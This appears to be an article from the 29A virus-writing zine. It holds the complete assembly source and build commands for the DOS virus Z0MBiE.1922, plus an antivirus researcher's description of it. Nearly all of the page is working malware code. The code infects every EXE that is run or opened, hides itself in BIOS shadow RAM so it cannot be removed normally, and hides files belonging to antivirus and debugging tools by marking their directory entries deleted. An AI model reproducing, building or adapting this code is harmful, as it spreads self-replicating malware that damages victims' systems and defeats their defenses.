Copy Link
Add to Bookmark
Report
29A Issue 02 04 04
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Z0MBiE.1922 ³
; ³ written by Z0MBiE ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; This virus is related with the Win95.Z0MBiE virus, also included in this
; issue of 29A, in the "Win32" section. It is dropped in the root directory
; of every drive in which Win95.Z0MBiE has infected a PE file, with the sys-
; tem and archive attributes. From that moment onwards, Z0MBiE.1922 is able
; to spread all over the HD with independence of what his "daddy" does. This
; DOS virus is the first ever to use ShadowRAM in order to go resident. This
; new technique has many advantages, and maybe the most important is that it
; is impossible to unhook the virus by normal means, as its code is locked
; and is only accesable when performing the infection tasks, after being ca-
; lled from int 13h or int 21h. Z0MBiE has many other peculiarities, descri-
; bed below by Igor Daniloff in his analysis of this virus.
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Zombie.1922
;
; Igor Daniloff
; DialogueScience
;
; Zombie.1922 is a destructive resident encrypted virus. It is a "product
; of the life activity" of Win95.Zombie. After creation, Zombie.1922
; "leads a full-fledged life" all by itself. Win95.Zombie creates a file
; ZSetUP.EXE in the root directory of every drive it infects. On starting
; ZSetUP.EXE, the virus code gets control and examines whether it (the
; virus) can open RAM Shadow for writing. Then it determines a 2122-byte
; block of free memory (of zero bytes) in the segment 0C000h. If it
; succeeds in this, the virus determines the location address of the 8x14
; system font. If this font exists in the segment 0C000h and if the address
; of the original Int 13h handler is available in the segment 0F000h, the
; virus opens RAM Shadow for writing and plants its code in the zero byte
; region or at the location of the 8x14 system font. Then the virus
; modifies the original Int 13h handler by inserting a command for
; transferring control to the virus procedure. Finally, RAM Shadow is
; "closed" to lock it from further writing.
;
; On reading the sector (f.2 Int 13h) of initial signature "MZ", the virus
; "intercepts" Int 21h, whose handler infects every EXE that is started or
; opened for reading or writing. While reading the sectors containing
; directory or file entries, the virus looks for the byte strings ADINF,
; AIDS, AVP, WEB, DRWEB, ---, CPP, C, S-ICE, TD, DEBUG, WEB70801, and CA.
; On detecting any such string, the virus sets in the sector just read the
; first byte OE5h (attribute for a deleted file) for the detected entry and
; "overwrites" all other bytes with zeros in the entry. Thus, if the virus
; is active, the operating system will not even suspect the presence of
; these files in the drive.
;
; The virus handlers of Int 13h and Int 21h, upon receiving control, "open"
; RAM Shadow, launch their procedures, and finally "close" RAM Shadow.
; Without appropriate shadow memory manipulations, it is not possible to
; kill or eradicate the resident virus code. On detecting this virus in
; the memory, the system must be cured by starting the machine from an
; independent boot diskette containing a "clean" operating system.
; Beware! Zombie.1922 is, apparently, clever enough to open RAM
; Shadow on most of the modern system boards with Pentium. The virus
; contains a few text strings:
;
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
; Tnx to S.S.R.
; ShadowRAM/Virtual Process Infector
; ShadowRAM Technology (c) 1996,97 Z0MBiE
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m zombie.asm
; tlink zombie.obj
; exe2bin zombie.exe zombie.com
;
;
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
include #equ.inc
include #macro.inc
include #struc.inc
include #header.inc
org 100h
start:
jmp tsr_sh
exe_start: mov al, es:[0028h]
sux label word
not al
; normal: al=0
; web: al<>0
xor cs:@@sux, al
lea si, real_code
mov di, si
@@2: mov cx, 8
@@1: segcs lodsb
inc ax
shl bx, 1
or bx, ax
loop @@1
mov cs:[di], bl
@@sux label byte
inc di
cmp di, offset real_code + vir_size + stamms_max_ip
jne @@2
jmp $+2
decr_size equ $-start
real_code: call stamm
mov ax, in_ID
int 13h
cmp ax, out_ID
je @@continue
call tsr_sh
@@continue: mov cx, es
add cx, 16
mov ax, 1234h
lastword save_ss
add ax, cx
mov ss, ax
mov sp, 1234h
lastword save_sp
mov ax, 1234h
lastword save_cs
add ax, cx
push ax
push 1234h
lastword save_ip
xor ax, ax
retf
include rnd.inc
include sh_ram.inc
include tsr_sh.inc
include findR13.inc
include ints.inc
include infect.inc
include hook21.inc
include fuck13.inc
include switch13.inc
include const.inc
include stamms.inc
vir_size equ $-start
include var.inc
tsr_size equ $-start
org ($-start+256+15) and (not 15)
db 256 dup (?)
exe_endofstack:
exe_memory equ ($-start+256+15)/16
end start
; - -[#EQU.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
in_ID equ 'ð'
out_ID equ ''
v_size equ decr_size + (vir_size + stamms_max_ip) * 8
b0 equ (byte ptr 0)
b1 equ (byte ptr 1)
b2 equ (byte ptr 2)
b3 equ (byte ptr 3)
w0 equ (word ptr 0)
w1 equ (word ptr 1)
w2 equ (word ptr 2)
w3 equ (word ptr 3)
l equ w0
h equ w2
offs equ w0
segm equ w2
; flags
fl_CF equ 0001h
fl_PF equ 0004h
fl_AF equ 0010h
fl_ZF equ 0040h
fl_SF equ 0080h
fl_TF equ 0100h
fl_IF equ 0200h
fl_OF equ 0800h
; dos file attributes
fa_readonly equ 01h
fa_hidden equ 02h
fa_system equ 04h
fa_volumeid equ 08h
fa_directory equ 10h
fa_archive equ 20h
fa_infect equ fa_readonly + fa_hidden + fa_system + fa_archive
; - -[#MACRO.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
mve macro x, y
push y
pop x
endm
setalc macro
db 0D6h
endm
lastword macro name
name equ word ptr $-2
endm
lastbyte macro name
name equ byte ptr $-1
endm
; - -[#STRUC.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; dta
dta_struc struc
dta_drive db ? ; 0=a,1=b,2=c
dta_name8 db 8 dup (?)
dta_ext3 db 3 dup (?)
dta_searchattr db ?
dta_num dw ? ; 0=. 1=..
dta_dircluster dw ?
dd ? ; unused
dta_attr db ? ; 1=r 32=a 16=d 2=h 4=s 8=v
dta_time dw ? ; çççç第¬ ¬¬¬ááááá
dta_date dw ? ; £££££££¬ ¬¬¬¤¤¤¤¤
dta_size dd ?
dta_name db 13 dup (?)
ends
; exe header
exe_struc struc
exe_mz dw ?
exe_last512 dw ?
exe_num512 dw ?
exe_relnum dw ?
exe_headersize dw ?
exe_minmem dw ?
exe_maxmem dw ?
exe_ss dw ?
exe_sp dw ?
exe_checksum dw ?
exe_ip dw ?
exe_cs dw ?
exe_relofs dw ?
exe_ovrnum dw ?
db 32 dup (?)
exe_neptr dd ?
ends
; sys header
sys_header struc
sys_nextdriver dd ? ; last driver: offset = FFFF
sys_attr dw ?
sys_strategy dw ?
sys_interrupt dw ?
sys_name db 8 dup (?)
ends
; sft
sft_struc struc
sft_handles dw ?
sft_openmode dw ?
sft_attr db ?
sft_flags dw ?
sft_deviceptr dd ?
sft_filecluster dw ?
sft_date dw ?
sft_time dw ?
sft_size dd ?
sft_pos dd ?
sft_lastFclustr dw ?
sft_dirsect dd ?
sft_dirpos db ?
sft_name db 11 dup (?)
sft_chain dd ? ; share.exe
sft_uid dw ? ; share.exe
sft_psp dw ?
sft_mft dw ? ; share.exe
sft_lastclust dw ?
sft_ptr dd ?
ends
; - -[#HEADER.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
.model tpascal
.code
.386p
assume ds:code
locals @@
jumps
; - -[RND.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; random number generator
; output: ax=random(65536)
; zf=rnd(2)
random: push bx
mov bx, 1234h
lastword rndword
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
mov cs:rndword, bx
xchg bx, ax
pop bx
test al, 1
ret
; input: ax
; output: ax=random(ax)
; zf=rnd(2)
rnd: push bx
push dx
xchg bx, ax
call random
xor dx, dx
div bx
xchg dx, ax
pop dx
pop bx
test al, 1
ret
; - -[SH_RAM.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; shadow ram manager
; save shadowram state
save_sh_state: push cx
mov cl, 59h
call cf8_read
mov CS:state_F000, ch
inc cx
call cf8_read
mov CS:state_C000, ch
inc cx
call cf8_read
mov CS:state_C800, ch
pop cx
ret
; restore shadowram state
rest_sh_state: nop ; nop/ret
push cx
mov cx, 0059h
lastbyte state_F000
call cf8_write
inc cx
mov ch, 12h
lastbyte state_C000
call cf8_write
inc cx
mov ch, 12h
lastbyte state_C800
call cf8_write
pop cx
ret
; enable shadowram write
disable_sh: push cx
mov cl, 59h
mov ch, CS:state_F000
and ch, 10001111b
or ch, 00110000b
call cf8_write
inc cx
mov ch, 00110011b
call cf8_write
inc cx
mov ch, 00110011b
call cf8_write
pop cx
ret
; read PCI register
cf8_read: push eax dx
call cf8_main
in al, dx
mov ch, al
pop dx eax
ret
; write PCI register
cf8_write: push eax dx
call cf8_main
mov al, ch
out dx, al
pop dx eax
ret
cf8_main: mov eax, 80000000h
mov al, cl
and al, 11111100b
mov dx, 0CF8h
out dx, eax
add dl, 4
mov al, cl
and al, 11b
add dl, al
ret
; - -[TSR_SH.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
rnd_size equ 66
scan_size equ tsr_size + rnd_size
; <ds=cs>
; <DF=0>
; output: ZF
tsr_sh: push ds es
mve ds, cs
cli
cld
call save_sh_state
mov al, state_F000 ; FF
inc al
jz @@exit
call find_real_13
jne @@exit
call scan_C000
je @@ok
IF SCAN_SIZE LE 14*256
call scan_8x14_1
je @@ok
call scan_8x14_2
je @@ok
ENDIF
; ZF=0
ret
@@ok: call disable_sh
mov ax, rnd_size
call rnd
add bp, ax
add bp, 15
and bp, not 15
shr bp, 4
mov ax, es
add ax, bp
sub ax, 16
mov es, ax
lea di, start
mov EA, 0EAh
mov EA.w1, offset int_13_sh
mov EA.w3, es
mov my_seg, es
lea si, start
mov cx, tsr_size
rep movsb
call switch_13
call rest_sh_state
xor ax, ax ; CF=0 ZF=1
@@exit: pop es ds
ret
scan_C000: mve es, 0C000h ; C000:0000
xor di, di
xor dl, dl ; dx = bios size in WORDs
mov dh, es:[di+2]
shl dx, 1 ; in BYTEs
jnc @@1 ; max 64k
mov dh, 80h
@@1: sub dx, scan_size + 32
xor ax, ax
@@2: mov bp, di
mov cx, (scan_size + 1) / 2
repe scasw
je @@exit
cmp di, dx
jbe @@2
@@exit: ret
IF SCAN_SIZE LE 14*256
scan_8x14_1: mov ax, 1130h
mov bh, 2 ; 8x14
int 10h
mov ax, es
cmp ax, 0c000h
ret
scan_8x14_2: mve es, 0c000h
xor di, di
@@2: mov cx, 14
xor al, al
repe scasb
jnz @@1
mov cx, 16
repe scasb
cmp es:[di-1].w0, 1000000101111110b
jne @@1
cmp es:[di-1+14].w0, 1111111101111110b
je @@3
@@1: cmp di, 0f000h
jbe @@2
@@3: mov bp, di
ret
ENDIF
; - -[FINDR13.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
find_real_13: mov ah, 13h
int 2Fh
mov cx, es
mov cs:real_13.offs, bx
mov cs:real_13.segm, es
int 2Fh
cmp cx, 0F000h
ret
; - -[INTS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
int_21: cmp ax, in_id
je ax_in_id
cmp ax, 4b00h
je infect_dsdx
cmp ah, 43h
je infect_dsdx
cmp ah, 3Dh
je infect_dsdx
exit_21: db 0eah
old_21 dd ?
infect_dsdx: call infect_file
jmp exit_21
ax_in_id: mov ax, out_id
iret
int_13_sh: cmp ax, in_id
je ax_in_id
call disable_sh
call switch_13
mov cs:save_ax, ax
call rest_sh_state
pushf
db 09Ah
real_13 dd ?
pushf
call disable_sh
cmp CS:save_ax.b1, 02h
jne @@1
cmp es:[bx].w0, 'ZM'
jne @@2
call hook_21
@@2:
call analize_13_02
@@1:
call switch_13
call rest_sh_state
popf
retf 2
; - -[INFECT.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
call21: pushf
call cs:old_21
ret
infect_file: call disable_sh
mov CS:rest_sh_state.b0, 0C3H
pusha
push ds es
cld
; mov si, dx
; cld
;@@0: mov ah, al
; lodsb
; or al, al
; jnz @@0
; cmp ah, '_'
; jne @@exit
mov ax, 3D00h
call call21
jc @@exit
xchg bx, ax
mov ah, 3Fh
mve ds, cs
lea dx, header
mov cx, size exe_struc
call call21
cmp ax, cx
jne @@close
mov ax, header.exe_mz
cmp ax, 'ZM'
je @@mz
cmp ax, 'MZ'
jne @@close
@@mz: cmp header.exe_checksum.b0, 'i'
je @@close
mov ax, 4200h
xor cx, cx
mov dx, header.exe_headersize
shl dx, 4
call call21
mov ah, 3Fh
lea dx, tempword1
mov cx, 2
call call21
cmp ax, cx
jne @@close
mov ax, 1234h
lastword tempword1
inc ax
jz @@close
push bx
mov ax, 1220h
int 2Fh
mov bl, es:[di]
mov ax, 1216h
int 2Fh
pop bx
mov dx, es:[di].sft_size.h
mov ax, es:[di].sft_size.l
or al, al
jz @@exit
mov cx, 1000
div cx
or dx, dx
jz @@exit
mov es:[di].sft_openmode, 2
mve es, cs
mov ax, header.exe_num512
dec ax
mov cx, 512
mul cx
add ax, header.exe_last512
adc dx, 0
mov si, ax
mov di, dx
mov ax, 4202h
cwd
xor cx, cx
call call21
cmp ax, si
jne @@close
cmp dx, di
jne @@close
add ax, 15
adc dx, 0
and al, not 15
sub si, ax
sub header.exe_last512, si
push ax
push dx
shr ax, 4
shl dx, 12
or ax, dx
sub ax, header.exe_headersize
sub ax, 16
mov cx, ax
xchg cx, header.exe_cs
mov save_cs, cx
lea cx, exe_start
xchg cx, header.exe_ip
mov save_ip, cx
mov cx, ax
xchg cx, header.exe_ss
mov save_ss, cx
lea cx, exe_endofstack
xchg cx, header.exe_sp
mov save_sp, cx
add header.exe_minmem, exe_memory
add header.exe_num512, v_size / 512
add header.exe_last512, v_size mod 512
mov header.exe_checksum.b0, 'i'
mov ax, 4200h
pop cx
pop dx
call call21
call gen_stamm
mov ah, 40h
lea dx, start
mov cx, decr_size
call call21
lea si, real_code
@@1: lea di, buf
mov cx, 8
@@2: lodsb
xchg dx, ax
mov bp, 8
@@3: xor ax, ax
shl dl, 1
rcl ax, 1
dec ax
stosb
dec bp
jnz @@3
loop @@2
mov ah, 40h
lea dx, buf
mov cx, 64
call call21
cmp si, offset real_code + vir_size + stamms_max_ip
jb @@1
mov ax, 4200h
cwd
xor cx, cx
call call21
mov ah, 40h
lea dx, header
mov cx, size exe_struc
call call21
@@close: mov ah, 3Eh
call call21
@@exit: pop es ds
popa
mov CS:rest_sh_state.b0, 90H
call rest_sh_state
ret
gen_stamm: lea di, stamm
mov al, 0C3h ; RET
stosb
mov cx, stamms_max_ip - 1
xor ax, ax
rep stosb
mov sux, 0D0F6h ; not al
mov al, 8 ; month
out 70h, al
in al, 71h
cmp al, 10 ; october ?
jne @@exit
mov sux, 00B0h ; mov al, 0
mov ax, stamms_num
call rnd
xchg si, ax
imul si, (2+1+2+4)*2
add si, offset stamm_1
mov cx, 2
@@1: lodsw
xchg di, ax
add di, offset stamm
movsb
lodsw
xchg di, ax
add di, offset stamm
movsd
loop @@1
@@exit: ret
; - -[HOOK21.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
hook_21: pusha
push ds es
xor si, si
mov ds, si
les bx, ds:[si+21h*4]
or bx, bx
jz @@1
mov ax, in_id
int 21h
cmp ax, out_id
je @@1
mov cs:old_21.offs, bx
mov cs:old_21.segm, es
mov ds:[si+21h*4].offs, offset int_21
mov ds:[si+21h*4].segm, cs
@@1: pop es ds
popa
ret
; - -[FUCK13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
analize_13_02: pusha
mov dx, 1234h
lastword save_ax
xor dh, dh
shl dx, 4
@@1: lea di, [bx+12]
mov cx, 10
xor al, al
cld
repe scasb
jne @@next
lea bp, bad
@@2: mov cx, 11
mov si, bp
mov di, bx
@@3: segcs lodsb
cmp al, '°'
je @@6
cmp al, 128
jae @@4
@@6: cmp es:[di], al
jne @@nxt
@@4: inc di
loop @@3
mov di, bx
mov al, 0E5h
stosb
xor ax, ax
mov cx, 31
rep stosb
jmp @@next
@@nxt: add bp, 11
cmp bp, offset bad_end
jne @@2
@@next: add bx, 32
dec dx
jnz @@1
popa
ret
; - -[SWITCH13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
switch_13: push ax si di ds es
lds si, cs:real_13
push 1234h
lastword my_seg
pop es
lea di, EA
@@1: mov al, [si]
xchg al, es:[di]
mov [si], al
inc si
inc di
cmp di, offset EA + 5
jne @@1
pop es ds di si ax
ret
; - -[CONST.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
db 13,10,10
db 'Z0MBiE`'
IF VIR_SIZE GE 1000
db vir_size / 1000 mod 10 + '0'
ENDIF
db vir_size / 100 mod 10 + '0'
db vir_size / 10 mod 10 + '0'
db vir_size / 1 mod 10 + '0'
db ' v1.00 (c) 1997 Z0MBiE',13,10
db 'Tnx to S.S.R.',13,10
db 'ShadowRAM/Virtual Process Infector',13,10
DB 'ShadowRAM Technology (c) 1996,97 Z0MBiE',13,10
; ¯®å¥à¨¬ ¨å ;)
bad: db 'ADINFù£ ¢®'
db 'AIDSù¯®£ ì'
db 'AVPùùá ªáùù'
db 'WEBùùã©®¡®ª'
db 'DRWEBù⮦¥ù'
db 'ùåã©ïùù°°°'
db 'ù¤¥à쬮ùCPP'
db '¥ ¢¨¦ãC '
db 'S-ICEùàã«¥§'
db 'TDù¬ áâù¤ ©'
db 'DEBUGùù£ã¤ù'
db 'WEB70801íâ®'
db 'CAù¬®ñùùAVù'
bad_end:
; - -[STAMMS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
stamm_1:
dw 0015h
db 01eh
dw 0051h
dd 0091e60f1h
dw 00bdh
db 0a3h
dw 00f7h
dd 00b7405fah
stamm_2:
dw 0006h
db 0b4h
dw 0022h
dd 0f1ebf71eh
dw 00b3h
db 080h
dw 00dfh
dd 03d021624h
stamm_3:
dw 0032h
db 01eh
dw 005eh
dd 001b82595h
dw 00c5h
db 033h
dw 00e1h
dd 0b104c9e9h
stamm_4:
dw 003eh
db 0fah
dw 005ah
dd 08b134c0bh
dw 00cdh
db 080h
dw 00f9h
dd 059e0df7fh
stamm_5:
dw 0009h
db 02eh
dw 0025h
dd 0e809e525h
dw 0037h
db 0e8h
dw 0063h
dd 04b02f8a4h
stamm_6:
dw 0009h
db 050h
dw 0025h
dd 000845225h
dw 0043h
db 080h
dw 006fh
dd 003449a4eh
stamm_7:
dw 001ah
db 050h
dw 0046h
dd 0c033cbadh
dw 0085h
db 0a1h
dw 00a1h
dd 0a306fd1bh
stamm_8:
dw 0036h
db 0b8h
dw 0052h
dd 050e0c65bh
dw 00b2h
db 09ch
dw 00deh
dd 08ec9e34eh
stamm_9:
dw 0007h
db 08eh
dw 0023h
dd 002a20883h
dw 00b3h
db 091h
dw 00dfh
dd 00315fe59h
stamms_num equ 9
stamms_max_ip equ 254
; - -[VAR.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
stamm: db stamms_max_ip dup ('?')
EA db ?
dw ?
my_seg2 dw ?
header exe_struc ?
buf db 64 dup (?)